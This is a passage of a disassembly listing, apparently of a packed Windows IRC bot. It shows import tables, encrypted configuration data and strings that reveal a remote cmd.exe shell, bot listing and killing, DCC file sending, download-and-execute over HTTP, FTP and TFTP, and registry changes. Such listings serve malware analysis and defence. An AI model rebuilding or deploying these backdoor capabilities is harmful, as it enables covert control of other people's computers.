XREF: MEW:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: MEW:00416822r dword_4170F8 dd 77E7C2C4h ; DATA XREF: MEW:00416899r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: MEW:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: MEW:004169F2r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: MEW:004167F6o dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; MEW:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: MEW:off_41DDB0o ; MEW:off_41DDD0o off_4172C0 dd offset off_41DDB0 ; DATA XREF: MEW:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: MEW:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: MEW:004172B0o dd offset off_41DDB0 dd offset dword_4172DC+4 align 8 off_417308 dd offset off_41DDD0 ; DATA XREF: MEW:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: MEW:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: MEW:004172B8o dd offset off_41DDD0 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: MEW:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDB0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: MEW:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 0A1h dup(0) dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 4 dd 6Dh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h ; DATA XREF: MEW:0041800Co dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0) dword_418040 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h ; DATA XREF: MEW:00418008o dd 0C9CFh, 0 dword_41805C dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: MEW:00418004o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0 dword_418098 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: MEW:off_418000o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0A3h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o 